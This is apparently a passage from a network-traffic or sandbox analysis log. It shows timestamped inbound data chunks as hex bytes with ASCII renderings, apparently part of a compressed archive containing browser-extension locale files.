1a da c7 9e 9c a5 84 7c bc c1 59 67 bd 0d 10 fa 3a 09 61 1e 38 60 88 f6 ee 1b 76 4d 84 9d c9 74 73 a5 8d ea 00 89 7f 53 
77 76 4e 02 17 7d 90 aa 50 de 6a c1 08 27 da 3d a9 cc de d3 8d 49 cd 72 36 53 6b 4e 11 20 36 2f b4 0e 10 a6 83 a1 f1 41 
b0 92 ac 34 41 b5 e0 6d 17 b2 88 4b 47 84 d4 0b 1f 1e 19 13 a6 99 58 31 75 6f 3c c3 81 2d 70 20 eb b6 0a 23 f0 9c 02 52 
ca f6 f8 ff f9 e3 01 49 1b 60 e0 14 26 73 ed 2c 6d cc 33 74 ca 32 39 17 fd d9 0e c4 7d 4f 89 96 27 66 86 b6 90 98 39 b9 24 
b8 42 97 6b b8 e0 83 6e f1 3b 2d 19 53 58 46 3e 68 cb b2 03 62 70 32 ed 84 87 a9 ee a9 51 a7 9a 94 14 76 70 eb 1e 63 
c3 94 b8 91 1b 6e 59 9f 29 ec a4 53 50 f8 08 4c 28 db 21 
Data Ascii: ZLl#@F38nMd:0|Yg:a8`vMtsSwvN}Pj'=Ir6SkN 6/A4AmKGX1uo<-p #RI`&s,m3t29}O'f9$Bkn;-SXF>hbp2Q
vpcnY)SPL(!

2022-01-13 21:05:25 UTC 1052 IN Data Raw: 8e f2 92 cf c5 69 04 ca 74 f0 6a 30 7c 4d d6 72 05 7d b2 f6 bc df 2b f3 d6 9e 49 79 32 10 c6 a7 c3 e1 e4 e5 a0 
1c 13 aa 72 2f e9 23 40 de 94 d4 59 31 ef df 58 ae 1b 1f cf 8e c0 20 83 f4 4e 86 e0 6b c6 c4 7c 71 b7 47 da 95 40 29 b0 36 
bd 72 d0 a7 16 8b bb 16 94 ae 9b f4 4f 4b 38 30 51 3c 66 68 a5 5d 78 ba f4 66 83 f2 70 12 4f 4d e8 c3 bc df 0f 2d fe 6e 21 
1b bf dc 3d 3c 2c cf 26 dd 17 27 44 77 b8 29 a3 3c 9c e3 e1 90 9c 84 cb 93 f3 10 ce ca d1 11 60 45 d0 61 de a7 b7 01 c8 
70 48 3c 18 53 e7 c8 03 98 0e fa 10 2a 9c 9c f4 8f fb 0c 4d b8 6b 1e 1c ac 5e 7f 7c d8 1d f5 6a 4e 1d f5 47 a7 5d 4e 15 b9 
ab 7c 1c ac a3 fe a0 5c 9a 97 19 68 f6 80 71 3e 5c ff 9d 03 b4 84 91 71 f2 4c 59 97 03 31 e8 d2 f0 8b be ed 8b 5b 39 7c 45 
4d 3c 7d 57 09 b7 72 54 d6 06 96 c1 9b bb 
Data Ascii: itj0|Mr}+Iy2r/#@Y1X Nk|qG@)6rOK80Q<fh]xfpOM-n!=<,&'Dw)<`EapH<S*Mk^|jNG]N|\hq>\qLY1[9|EM<}WrT

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:25 UTC 1053 IN Data Raw: cc a3 7f 6f e2 3c 9a 1d d5 16 41 30 5d 1c 15 0f d9 6f 78 f9 8f 32 5b 1f 17 9b f9 3c be 8f b1 b8 6e 14 cd ee c2 7b 
ae aa 72 01 22 db b4 4d cd c0 9c b6 ae 29 b6 a5 92 68 fa 5c 22 04 91 ef 61 1e b1 65 b6 5a 41 0b 1e f3 f7 7f 79 27 a5 8e 
56 ff 68 27 b4 7a 27 24 96 4a 77 62 d7 ff ff 43 37 99 ae aa 2b ae a9 38 8e 66 b8 9a aa 12 0c f0 b6 77 f9 63 59 8f 76 0d cb 
56 90 6f 48 52 db 51 5c dd 20 70 f5 b5 82 d3 1a 79 d6 cf 70 aa 69 2e 04 15 17 78 65 5a 9a 06 51 02 a7 df 06 f0 55 70 16 
c0 59 e3 d1 e1 3a d9 e4 61 72 98 cd e7 45 54 be 57 d9 07 e5 db 45 98 2e b2 4d f9 f4 41 6d 1e d9 2a 9a b1 6f fd e1 b9 d7 
0b 7e f5 87 4f 4f 1f b4 b6 57 2c bb 7f 60 6a 65 dc 53 56 3e 44 f9 9b 03 ff 29 06 3e 09 db 0d 03 50 a6 a8 d8 1e 0d 50 63 29 
04 a4 4f f3 90 7d d9 68 8a aa b3 d9 76 26 84 
Data Ascii: o<A0]ox2[<n{r"M)h\"aeZAy'Vh'z'$JwbC7+8fwcYvVoHRQ\ pypi.xeZQUpY:arETWE.MAm*o~OOW,`jeSV>D)
>PPc)O}hv&

2022-01-13 21:05:25 UTC 1054 IN Data Raw: ac 32 91 ff 00 15 02 ad 4b 11 4a b3 d7 15 a3 02 32 26 f8 43 f2 75 33 3b ae 27 b3 d0 fb 19 a0 5d 28 08 1a 7f 92 
95 02 6e 35 30 36 12 93 9a 88 58 01 e9 5b fe 2a 65 bf 45 77 77 35 d9 a9 66 01 3c 37 4b 01 9f c2 26 00 60 40 75 c0 ee 5c 
42 f4 47 0d ac 3c 67 00 e7 2f 45 cd 42 7e c8 23 d1 8d 21 ee c3 e2 47 a1 d4 42 eb a8 a2 5f 85 9f 1c c5 54 80 ea ed 91 d3 
04 41 f7 5a c8 da 40 69 b8 96 97 3c 2c 56 73 4d b2 dc 8b b0 da 8d 98 37 a3 82 6a 83 16 82 6c 9a 2a b6 05 f8 8e c2 65 90 
c0 eb d4 8e 89 17 b5 04 22 54 83 81 48 30 c7 40 60 a8 64 dd ed 25 ee 2e e2 cc 98 3b b1 da 4f b1 4f 96 82 a0 05 8f 07 35 
75 e1 47 44 1a d1 e8 bd 30 06 ee 42 7e 14 55 d7 97 82 e5 20 7d dc 83 fc c7 86 26 ec 13 96 7a 1e c7 e2 27 49 40 5d 87 1f 
c0 58 3a c9 92 9f 58 ff 8e f3 ab 32 cb e3 a2 46 5f cb 
Data Ascii: 2KJ2&Cu3;'](n506X[*eEww5f<7K&`@u\BG<g/EB~#!GB_TAZ@i<,VsM7jl*e"TH0@`d%.;OO5uGD0B~U }&z'I@
]X:X2F_

2022-01-13 21:05:25 UTC 1056 IN Data Raw: f6 a6 93 91 77 ee 4b d2 89 5c e2 10 35 23 4e 36 e4 e0 22 2b 22 72 f9 ab fe 39 81 47 49 3b 21 11 1e 4f 06 d3 
9b 60 14 9c 06 55 90 b5 6e a9 e4 7b 08 aa ad df 1d df 7a c3 f6 c8 97 95 37 a2 65 d2 bb ec f5 6f 89 ac ac 49 23 b2 37 41 
c7 6f 47 7b 09 8b 68 d1 30 ba ee f7 c7 17 3d 7f 44 bc 2a fb 8a 86 28 f9 ec d3 62 25 b9 8a ad e4 46 e7 d3 2e 00 19 d1 3b 
ee a3 d6 8c 08 7c c9 6e 24 1a 49 78 0a 68 d3 f1 7b 01 45 2c d9 15 ca 6b b9 71 70 ed c3 60 92 78 92 83 a9 46 f0 ba aa 66 
3d ff 6c 5c 5b 4d fc 23 f9 46 68 47 f8 19 21 45 5d f6 ce ce fc c1 d8 3b bd 22 b9 23 3b c0 6b d7 73 de ef 13 4b 64 fc b2 5d 
c3 c0 1f 76 b1 2a b2 1c c9 37 46 6f 28 e9 f7 49 05 93 90 f1 76 05 93 5e 00 aa 70 75 15 9c 07 12 9f c8 ee 71 64 ba 3a c1 
e8 cc 1b 76 f8 4e 75 83 e1 b5 27 4b 45 d9 f5 9e 4c 57 
Data Ascii: wK\5#N6"+"r9GI;!O`Un{z7eoI#7AoG{h0=D*(b%F.;|n$Ixh{E,kqp`xFf=l\[M#FhG!E];"#;ksKd]v*7Fo(Iv^puqd:vNu'
KELW

2022-01-13 21:05:25 UTC 1057 IN Data Raw: 87 f3 f3 75 ba 5c 26 ab cd d9 38 8b cd d9 7d 32 3f bf 3f 84 f5 5c 2c d6 db 68 75 ae 7b 59 11 7e 3f 51 36 62 35 
8e 36 b0 1f de cd c4 62 fa fd a4 74 4c 0f 51 ee 67 62 bd c6 97 ab e8 9f 69 bc 8a 46 ef 8b 19 c1 70 31 7e bf 9e 24 5b 7c f9 
97 4d b2 3c 5b a7 0f 0f f1 7d 8c c5 35 a3 68 74 27 ee c9 55 16 02 a4 b8 e5 58 ba 89 67 3a 86 ae 3a b6 c6 52 ac 2d 92 45 
51 b4 62 24 3e fc e9 0d 94 c6 57 fb 77 1b a0 17 1b 20 99 a0 74 03 5e 86 fd 7f 18 1d cb d3 0c d5 b3 54 d7 d5 4d 4f d7 34 
86 01 17 13 01 e8 28 46 7b a6 ed a8 28 3f 14 ac e3 aa 9e 61 1e 8f be 14 f1 26 9d c7 d3 c2 40 f7 30 5c f5 00 53 96 ad eb 
30 60 c0 f9 e3 1a 11 0a ea 01 42 d4 ef 9d 2e 67 e9 4a cc 4e 93 87 87 75 b4 f9 a0 29 1f d5 1f 97 62 31 4e d2 cd d3 47 ad 
fc a8 a0 56 7f 74 ba 17 b5 30 f8 e6 77 9f 9e 3e ea 
Data Ascii: u\&8}2??\,hu{Y~?Q6b56btLQgbiFp1~$[|M<[}5ht'UXg::R-EQb$>Ww t^TMO4(F{(?a&@0\S0`B.gJNu)b1NGVt0w>

2022-01-13 21:05:25 UTC 1058 IN Data Raw: a7 c2 0b fc 78 2e a4 82 85 fa 07 29 33 27 97 05 e8 1e 4a 6b 4d 8d 24 fd 9e 13 f1 a4 14 b5 e5 9c a7 d4 87 2b 
13 fc e5 ac 78 84 8d 2e ca 84 c0 01 3c eb f4 89 03 33 42 4c d4 90 52 1a 66 d5 9b 8e 26 69 7c 3e e8 b6 5e cd 15 02 05 d2 
01 00 00 e9 00 c9 e4 31 c1 dc 27 eb d7 74 3e 29 50 5b f9 05 2b 27 f4 8f a6 d1 7e 2b 7e cd 5d da e8 b6 34 b4 78 08 83 ab 
5a 2a d0 f5 8d 24 c0 d6 36 db b9 9d 03 bc 44 d4 88 65 b0 22 dd b3 d8 9a ae e2 71 3a 46 60 f6 44 83 cb 6c 7f 97 a2 04 12 
8f 24 9c a5 21 f6 c0 5c 90 88 c9 12 a9 4d 34 5c 0c 46 b2 a1 b5 07 d6 bb ae 89 5d d7 d8 b2 2b 99 26 87 6a 50 37 01 75 e6 
cd 56 91 89 10 c3 90 79 1e 42 88 14 62 de da a4 6d 69 de bb 03 e6 af f1 79 81 14 1a 27 fb 6d b6 94 1e a9 00 7c df cc 05 
c0 31 19 db a8 2c 3a 81 01 52 ba 74 86 61 1b 2c f1 7f 53 
Data Ascii: x.)3'JkM$+x.<3BLRf&i|>^1't>)P[+'~+~]4xZ*$6De"q:F`Dl$!\M4\F]+&jP7uVyBbmiy'm|1,:Rta,S

2022-01-13 21:05:25 UTC 1060 IN Data Raw: 91 d1 83 dc be d5 b9 60 f0 28 91 fd 12 e3 fe e0 7a 78 13 f4 82 cf 41 96 64 95 5b 2a b9 eb e7 de 3a cd fe 6d ad 
5b 9d f9 32 f6 62 5e 06 e1 55 d8 b9 65 b6 b2 4e 8a d9 de 04 0d bf 1a ed 25 8a a0 c2 43 af dd e9 f4 2f 43 bf c7 a2 2a 7b 27 
84 39 f9 ea 73 b2 92 5c 33 66 76 bd 8b 61 13 80 8c ec ed 77 c0 35 3d 06 5f b2 a3 fa d2 12 91 02 da 34 fc 30 e0 88 25 bb 
59 78 6d d7 0f da 3e 26 cc 0a 4f 72 50 54 1a b6 33 36 0b fd 7a bf 98 35 8b 8f e4 85 97 17 c6 07 84 cc 79 b9 56 af fb d7 fd 
da e7 16 ab 1d d9 89 5a b5 9f 8b 4e 87 cd 44 a6 16 ab 3d 5c fb dd 26 56 c5 96 23 79 79 e6 0d 27 9d 0e 63 30 89 8a ae 76 
30 08 03 48 85 56 2b b8 08 24 31 91 5d 7a c8 7c 35 82 5e bd d6 6d d0 4e 35 83 6e bb 26 2b 45 d9 35 97 cc 57 33 08 fd 
0c 5e 86 a8 ec 50 42 3e b2 a3 1d 99 a3 cc 47 05 c9 
Data Ascii: `(zxAd[*:m[2b^UeN%C/C*{'9s\3fvaw5=_40%Yxm>&OrPT36z5yVZND=\&V#yy'c0v0HV+$1]z|5^mN5n&+E5W3
^PB>G

2022-01-13 21:05:25 UTC 1061 IN Data Raw: 44 53 0e 61 b9 fa a5 13 d7 3d b9 e8 0e 7f f8 69 bd 84 f5 e3 01 70 ed e3 fb c5 d5 ea dd cd fb 37 ab db bb 35 bb 
aa 05 ae ff 73 75 f3 e1 7e f5 e1 7e cd bb 92 cb d5 60 f2 b5 5a 7f bd 61 30 f9 81 46 3f 60 29 98 83 2f 5f 12 1b 39 ff f8 6e 7b 
2f ff 72 bc f8 eb eb 4f 2b 21 c4 5f 8e ef 3e 2e 3e 54 ff 59 74 de dd ae ae 7f 7e 7d f0 ee fe fe e3 dd d3 e3 e3 bb 4f 1f 3f de 
dc de 1f bd 5d 6f f8 d1 d5 cd 6f c7 57 5f 77 e5 78 f1 e1 ee 5f ab db 63 15 d6 6e fb f5 41 e7 7e 71 fb 76 75 0f e3 e7 cb f7 8b 
0f ff 7c 7d 50 11 2e 5e d2 b9 7a bf b8 bb 83 2f 6f 57 ff f7 e9 d7 db d5 9b 27 71 46 30 f0 c3 db 27 77 ef 6e fe 05 5f fe cf fd cd
c7 a3 bb 4f d7 d7 bf 5e fd 0a 8b 3b 59 ad de 2c 17 57 05 a9 35 0b c0 5a d9 cc 2a 03 ef cc b4 12 99 93 0d 2a 75 a5 88 ed 
30 58 20 91 cd c7 ee 3a ea 
Data Ascii: DSa=ip75su~~`Za0F?`)/_9n{/rO+!_>.>TYt~}O?]ooW_wx_cnA~qvu|}P.^z/oW'qF0'wn_O^;Y,W5Z**u0X :

2022-01-13 21:05:25 UTC 1062 IN Data Raw: 85 4e 31 10 4a c8 4f 33 f0 a9 55 56 5b e5 9c 22 27 b2 cd e8 1d f5 ed c7 09 06 bf 34 1a c6 7e 4d b3 25 4a fb b5 
78 10 f7 52 e0 bc 03 13 d2 2f 0d 19 fd 86 52 fa fe 35 5e 63 95 17 3e 28 a1 d6 cd 01 d6 f3 b9 e4 7d 64 e4 8f 54 e2 2e 0a 45
5a ab a0 b4 0d de d9 20 e8 f2 63 1a 1f c7 e6 18 a9 8a 0d 4b 1e 10 e2 7c 3b 5e 35 cf 8c e9 4f 21 4e 97 d6 85 ff b3 82 19 
40 24 33 6d 42 10 5e 59 ab 24 9f cf 2e 27 8d a3 16 26 6d 4d 13 2b 78 f5 ad d8 5c 4e 2a 2b 0a 37 20 27 16 fe e8 4c 80 dc 
7c e7 12 c0 7f 9f 32 b5 2d 48 18 30 2a 21 03 4f e8 4c 16 ac 36 be c1 b0 b4 8a e2 13 b0 a5 e6 6a e2 d7 cb ed 3d e6 fc c7 
7a 96 56 48 a3 9d 09 c2 58 61 44 a6 2d 6f ff f6 6e 3c b1 42 15 1d 33 de 68 eb 42 26 84 71 bc ef 6d ef 1a 77 d5 dd 2b 18 
da db ea 02 79 34 e6 6d 97 e8 68 cc 92 a4 a5 a5 96 
Data Ascii: N1JO3UV["'4~M%JxR/R5^c>(}dT.EZ cK|;^5O!N@$3mB^Y$.'&mM+x\N*+7 'L|2-H0*!OL6j=zVHXaD-on<B3h
B&qmw+y4mh

2022-01-13 21:05:25 UTC 1063 IN Data Raw: c9 f7 ce a6 97 1a ec 57 47 e8 c5 ab a3 8e 3a 32 a7 cf ff 1f 2f 0b 99 f8 1a 3a 8e 72 d3 b1 f0 fb 1f 23 7f 33 97 29 
a3 1c 04 25 d6 68 08 8a 48 a1 f6 eb 61 90 7d 4e 95 a6 72 d7 0f cc 1d 96 e1 6f e1 76 8a c2 b2 84 59 2b a5 bd 55 2d ae 1d 
68 01 d3 a3 8e 7a e1 8b 4c 9b 06 b2 45 31 48 04 cf e7 dc 5a 24 d0 f7 39 86 e9 21 2c 0d 21 b8 75 ba cf 98 4c f2 ae 1f 63 
a4 5a cb 40 eb 0a 46 2d 67 e7 f5 3a fa f3 de 4b ed 44 66 85 e1 4f ce 62 27 f7 88 23 3c 0d 0c 69 8c c8 1a b2 18 bf 6f f6 80 
e1 d7 ef 97 3e f0 46 eb 02 1a 7a ed 9c 0e c1 04 36 28 de 91 5f f5 c6 9a 60 32 23 85 5f e7 06 0d b1 a4 d1 2e d1 cb 56 52 
21 c1 4e 53 87 c5 ee 61 36 ef 70 87 b9 de e8 df 03 a6 54 f2 c5 4a 2b 8d 37 32 d3 5a fb 2c 03 5d 4c 17 90 b8 33 e4 91 8a 
16 5e da a0 45 50 5e 69 30 a8 6c 66 e5 51 57 ed 
Data Ascii: WG:2/:r#3)%hHa}NrovY+U-hzLE1HZ$9!,!uLcZ@F-g:KDfOb'#<io>Fz6(_`2#_.VR!NSa6pTJ+72Z,]L3^EP^i0lfQW

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:25 UTC 1065 IN Data Raw: d3 b3 7c 4e 14 83 b9 c5 15 0d 2e c3 42 08 59 22 60 e8 75 2f 0a 2b 46 56 c0 9c fe f8 4a 05 20 2a 61 17 53 72 
ae 7e 7f d1 9d 4d c8 00 ee 5a c7 af 03 ce ba d4 7c 31 f7 74 56 bf 9f e4 39 71 cf 5c 1e b9 fa fd 6c c8 2d 81 2b c9 55 23 2e 
47 67 b3 73 32 82 bb 3b fc cb 97 7f 03 50 4b 07 08 8b 4a 75 50 bd 11 00 00 7e 61 00 00 50 4b 03 04 14 00 08 08 08 00 2a 
8c 04 51 00 00 00 00 00 00 00 00 00 00 00 00 0c 00 00 00 5f 6c 6f 63 61 6c 65 73 2f 74 65 2f 03 00 50 4b 07 08 00 00 00 
00 02 00 00 00 00 00 00 00 50 4b 03 04 14 00 08 08 08 00 29 8c 04 51 00 00 00 00 00 00 00 00 00 00 00 00 19 00 00 00 
5f 6c 6f 63 61 6c 65 73 2f 74 65 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e dd 5c 5b 73 13 4b 92 fe 2b 5a 2f 0f 73 26 c0 d4 
bd aa d9 39 7b 42 58 6d a3 c1 96 3c 92 0c c1 c4 89 50 
Data Ascii: |N.BY"`u/+FVJ *aSr~MZ|1tV9q\l-+U#.Ggs2;PKJuP~aPK*Q_locales/te/PKPK)Q_locales/te/messages.json\[sK+
Z/s&9{BXm<P

2022-01-13 21:05:25 UTC 1066 IN Data Raw: 0e c7 d4 69 b0 df 91 4b bd 72 2e ee 72 ab 06 a9 23 c0 6e 1f a1 aa 00 f1 b2 10 5e 6b 0f 7b 54 5a 6b 95 c7 ef a8 
c7 d8 51 47 1b 0f 52 18 09 81 b7 2f 20 dc 95 1e a2 b8 7c ec 9f c4 94 7e 3d 34 69 c0 a6 e0 9c 72 c1 48 a1 05 90 67 09 47 
f7 72 89 e4 49 63 f8 25 91 10 8d 35 ae 10 ab a3 96 2d d0 9e a3 0a 53 fd df df df 8f eb d5 05 c0 9c 0f 16 d6 2b 41 81 cc da 
58 ad d7 e9 43 34 b5 66 61 7e 75 91 a2 89 48 40 3a ce 03 86 c2 67 01 2c 29 32 7c a6 86 d8 8e 37 e0 46 94 04 69 d9 42 
17 95 c5 b0 d2 c6 96 28 2f 90 0e e6 e5 64 8d 12 06 96 05 79 98 d0 1a 38 c0 2e ac 15 7a c7 ba a8 40 d5 08 f0 71 01 fe 51 
0e f4 a7 28 74 be 3e 10 35 de d7 23 8d 80 00 bf 80 34 cb 83 aa 40 a6 e5 32 0a ec 11 df 1d 5e 3f 86 9b de 9f ea 5d 0a b4 
d7 c6 4c cf bb df 36 26 2b d4 2f cf da f9 2b 89 48 29 
Data Ascii: iKr.r#n^k{TZkQGR/ |~=4irHgGrIc%5-S+AXC4fa~uH@:g,)2|7FiB(/dy8.z@qQ(t>5#4@2^?]L6&+/+H)

2022-01-13 21:05:25 UTC 1067 IN Data Raw: bb 0e b0 46 0f b1 91 fa de eb f7 4f 0e df a3 c8 ef be 0d b0 c4 e6 b2 cd ba 49 49 bd d9 a6 31 42 00 ff 94 0b 20 
31 2f 8c 5c d3 13 c0 a5 e1 31 7d 46 35 02 1c 2b 30 e9 de 8f 28 f1 a0 58 0b eb ce 7d 2b 12 bf 45 56 00 33 8a a0 e1 5f 88 
e3 a5 28 58 4e ec 70 0e 26 90 ab a1 4e 2e ad 12 7d 7f 92 b5 5d c5 3e df 5b dc b1 94 71 88 b4 63 aa e5 6f a6 e2 d0 96 79 
ac 71 56 68 e3 00 92 44 d5 db 67 dc 8e 65 1e 8c e0 89 1b 75 e4 c9 e5 d3 b3 c9 31 51 96 7b b2 f6 7b 75 29 58 a7 84 84 
00 5f 15 10 9c ba 82 6f ba 97 dd b6 b3 85 9c f5 e7 6d 8c 1a a5 5d 19 cd 81 3d 56 db 18 d8 d3 62 10 d3 a1 8a d5 6c 43 31 
e5 97 66 e7 ae 00 e3 d1 85 07 6b 0a c2 0a ab f8 5c eb 87 39 01 80 ec c3 93 66 6a 0f 19 38 d8 6f 55 4b 04 4d 53 85 65 75 
2d 82 11 13 32 76 fb 5b ff 6d 12 17 45 21 a1 43 91 b6 7a 
Data Ascii: FOII1B 1/\1}F5+0(X}+EV3_(XNp&N.}]>[qcoyqVhDgeu1Q{{u)X_om]=VblC1fk\9fj8oUKMSeu-2v[mE!Cz

2022-01-13 21:05:25 UTC 1068 IN Data Raw: 23 ce 3b 7a f4 d6 16 f7 be 9b 7c a9 69 d4 9f e2 76 97 25 a2 9f e0 c6 2a fd d5 e8 92 bd 33 26 56 74 e1 1b 09 72 
d4 cd 2c 97 29 0e 31 8d ed d5 cb 39 bc 08 41 07 05 c8 0d 10 be f6 98 ee e1 9b 20 29 33 69 f8 82 53 9a ef ec b1 c5 ef 7e 
20 ee 21 49 6f 7e 5a 7f ec 49 39 18 f6 e7 93 f1 d9 ac 9c cc fb 83 c1 70 36 1c 8f fa c7 f3 83 f1 c9 49 39 9a 4d 57 c5 c3 bd d1
86 d2 39 1b 0c c7 f3 bf 9d f5 8f 87 b3 37 ab 14 b8 c8 95 50 38 e8 8f 0e ca e3 f9 f3 b3 d9 6c 3c a2 6b a0 2f 7c a1 14 c6 a3 
19 6c 00 56 51 4e ab 3d ad 12 e1 ba 13 08 91 c1 70 30 1f 8d 67 f3 d9 84 6c 83 3b 81 20 e3 0f cb 72 f0 bc 7f f0 72 5e 9e f4 
87 c7 f3 c3 61 79 3c 58 25 c4 5d d1 cf 13 3a 1c 4f 4e e6 83 72 7a 30 19 9e b2 db 62 5a 45 f3 d4 5e 94 fd 41 39 59 a5 c1 
95 d6 f2 34 4e 27 e3 93 d3 19 61 0f 3d 91 
Data Ascii: #;z|iv%*3&Vtr,)19A )3iS~ !Io~ZI9p6I9MW97P8l<k/|lVQN=p0gl; rr^ay<X%]:ONrz0bZE^A9Y4N'a=

2022-01-13 21:05:25 UTC 1070 IN Data Raw: 60 d7 ab 76 bd 7a 5d ff ad ab 4f 59 d3 95 b6 fe c6 a3 5f e3 f7 af ea cf 78 57 bb 4d 41 d6 d7 eb 78 e5 ba e5 4c 
c5 7b 89 96 6f 55 df 4b bb 76 6d e2 c7 6f af 8a df a7 6b 5c 4b 41 d7 57 4a 8d 78 43 12 89 7f 47 0e a5 43 dc c6 1d ad 11 
05 93 a4 06 f2 2a bc 2b 4c 21 b4 0c c2 59 56 68 12 b1 a7 b7 d5 10 c5 a2 5e a1 6b 5e a3 1b bd 6a 29 c4 b5 89 f9 f3 c8 80 
51 de 80 c6 0b b8 b7 97 aa 70 5a e6 d5 ae 1c ba 47 a4 68 5b 81 c6 4d 46 6e a2 68 22 4f f1 1a 2a d0 44 0d 09 31 09 2b 5d 
19 f9 b3 4a 49 23 0a af b5 04 2e 85 b6 3c 7f 44 42 49 ed eb 6d fe 22 07 91 7b 6a 6e 0a 1b 97 6c e9 e0 9d 28 37 68 d9 8c 
e2 55 c8 86 d3 45 78 a3 af db cd 45 46 3b d6 28 db 5b 36 be 64 ad 08 02 76 6d 9c 14 5e f9 60 3d b7 e9 b4 5e b5 76 8f ed 
bb 51 47 a4 58 e8 a2 f0 85 33 95 b1 99 60 b4 2b 58 8a 
Data Ascii: `vz]OY_xWMAxL{oUKvmok\KAWJxCGC*+L!YVh^k^j)QpZGh[MFnh"O*D1+]JI#.<DBIm"{jnl(7hUExEF;([6dvm
^`=^vQGX3`+X

2022-01-13 21:05:25 UTC 1071 IN Data Raw: 31 24 b9 66 cc 8e 29 f0 d7 db 57 e2 22 2c 59 92 42 08 e4 7b d0 3c 6d 4c 61 bf e9 84 51 8a fe 29 eb 77 14 5f 
b4 9a 14 fa 5e b7 1c c6 bd 50 a5 76 c4 ed b6 e9 e0 a6 04 76 9a f4 3d f2 6f 79 81 76 2d 5a 0e 19 cb da 25 1a 2a c2 56 12 
2e ea 9a 45 95 08 d4 67 c1 dd 43 53 0c 90 d9 f4 86 55 1a ad 14 32 2d a6 16 40 5a 4a 06 89 35 ac 5a 26 b0 49 27 29 9a 
56 0f 71 15 0e 15 0a 4b 17 05 b8 fe 7a 04 cb 3b 46 90 64 29 8a 84 6d da 82 a0 2a 66 22 1b 6a 1b 4a 9c 5f b0 7f 5a b4 0a 
c5 08 83 70 32 ed c7 e6 dc 2d 39 05 71 ae ac 5d a0 d8 9b 10 10 45 e0 28 e0 35 a2 d9 21 73 fd 88 88 90 fc 70 dd ae c5 5d 
d0 8e 65 51 6b 45 1b 53 a8 93 8b 55 d8 a5 33 48 2d a9 f6 9e 78 1f 1d 45 d7 a1 9c c6 a8 ef 97 c1 4e 2d f4 de 48 78 e7 88 
54 c3 01 dc 03 48 40 5f 20 0a 71 d7 a8 de ca 79 60 a7 a5 ca 
Data Ascii: 1$f)W",YB{<mLaQ)w_^Pvv=oyv-Z%*V.EgCSU2-@ZJ5Z&I')VqKz;Fd)m*f"jJ_Zp2-9q]E(5!sp]eQkESU3H-xEN-
HxTH@_ qy`

2022-01-13 21:05:25 UTC 1072 IN Data Raw: 65 94 d6 c2 b9 47 1d f0 ec b1 99 07 0e be 20 98 9d 7b e6 bb 9c 45 d9 5d 86 09 08 e0 c1 0d 66 99 39 07 75 4f 
7d 48 7a fc 05 03 9c ce 21 a6 dc 14 77 87 c9 f0 4e e2 cb e0 f1 8e ff f6 77 3f 50 e9 40 93 a1 48 59 21 04 57 08 25 ab b1 0b 
40 6a 03 e8 6a c7 68 92 95 4b 4d d7 49 08 8b 90 cc 04 14 26 10 48 04 04 ad 3c 30 a2 33 6c 46 0f a4 57 24 1d f9 06 9f 85 
29 b6 25 d1 ed 03 f1 26 fa 7d ed 12 dc f8 6a a4 e0 8b aa d9 5c 95 f0 d2 08 fe 9c 5c d7 40 b6 db 23 7f 26 cc 8f 9e 45 f8 2a 
fa ff 31 bd 17 2a d1 1d 5b 2f 4d fa 04 6b d7 50 3d 38 e1 5c 75 e6 10 fe 60 b1 29 13 bf fb 9f 23 71 ae ea 06 59 09 6e 64 a4 
81 da 24 73 92 13 1d b9 48 73 c6 b0 6d e4 74 78 d0 d1 05 3e 89 97 fa 25 5d 5c cc 38 2b 1e 8a 93 22 1b 17 5f cc 51 17 7c 
60 0f 55 02 a9 ce c2 5c 62 f7 43 29 29 45 7c d9 
Data Ascii: eG {E]f9uO}Hz!wNw?P@HY!W%@jjhKMI&H<03lFW$)%&}j\\@#&E*1*[/MkP=8\u`)#qYnd$sHsmtx>%]\8+"_Q|
`U\bC))E|

2022-01-13 21:05:25 UTC 1074 IN Data Raw: 9c 7b d9 42 6e 79 ed 6a 24 96 32 05 47 96 00 97 1f b8 13 4f 59 02 f3 25 78 2a 8d 86 5c 1d cf d1 a8 f1 d0 93 e5 
d1 6a 3a 5b 95 15 b0 a1 e6 48 1f 36 ca 12 aa ec 7b 7a 56 52 20 cc bc 68 2d 4b e4 b0 1c 2e 96 90 ab 2a c0 57 32 51 97 1e 
7f cf 92 82 54 41 8d 9a 7b 8d 44 96 02 00 d7 7f 40 f4 01 3f cd 25 2f ee cd 27 1c b9 98 bf 7a e2 2a 73 54 35 4f e7 70 56 96 
ff a2 c9 8c 7b 8d 60 9e 08 17 9c 99 37 c0 f4 10 98 81 ae e8 46 e8 69 d9 3c 89 7f 94 b3 67 14 10 30 7d e3 3c 89 4c 86 e0 
1e 5f e8 21 c2 64 08 ee c0 5a 9e 42 84 26 34 ed d2 97 c9 f5 d0 58 00 de a4 26 cb 9d e6 cb 13 59 4e 9e 0f 17 07 4f 39 23 
e3 4e ac 70 84 5e 4c 97 50 a1 4f e6 cf 19 f7 61 de f7 82 48 3c 1d 4e 8e 00 ba ac c6 93 21 b8 cd 19 e1 80 1b fd b1 cb cf c0 
db 28 74 62 1e f9 62 56 a7 0a 80 96 8a f4 a8 1d 
Data Ascii: {Bnyj$2GOY%x*\j:[H6{zVR h-K.*W2QTA{D@?%/'z*sT5OpV{`7Fi<g0}<L_!dZB&4X&YNO9#Np^LPOaH<N!(tbbV

2022-01-13 21:05:25 UTC 1075 IN Data Raw: 5d 9c cb b6 51 ff a8 01 77 99 a8 4b 2e 55 20 40 d8 0c 68 f2 23 e9 df f6 85 10 9c 4c 0d a0 46 00 53 04 96 6b 99 
8a dd a6 2c 5d b1 d3 9b b8 8c 45 45 2b 2b f1 49 c6 c5 fa 6f 2c 2d 51 63 72 72 15 67 49 c5 4a 51 ea 4c 1f 90 42 a9 67 59 
1e 74 9a 96 65 99 4a 64 7f 65 95 7c d6 a0 b6 01 04 f2 02 c0 86 e1 a1 78 1f 3e 5b 83 4d fd b0 05 37 fb ae 6b ba be 6d 50 
8b 42 44 79 f8 82 15 09 41 e5 5b 26 45 b2 6a 6a 61 8e c4 10 c5 f0 e4 e4 44 6a b2 02 b8 df f3 1d 68 32 60 04 5b a9 c6 77 
0d ca 56 fb f8 2d e4 2d 20 26 82 
Data Ascii: ]QwK.U @h#LFSk,]EE++Io,-QcrrgIJQLBgYteJde|x>[M7kmPBDyA[&EjjaDjh2`[wV-- &

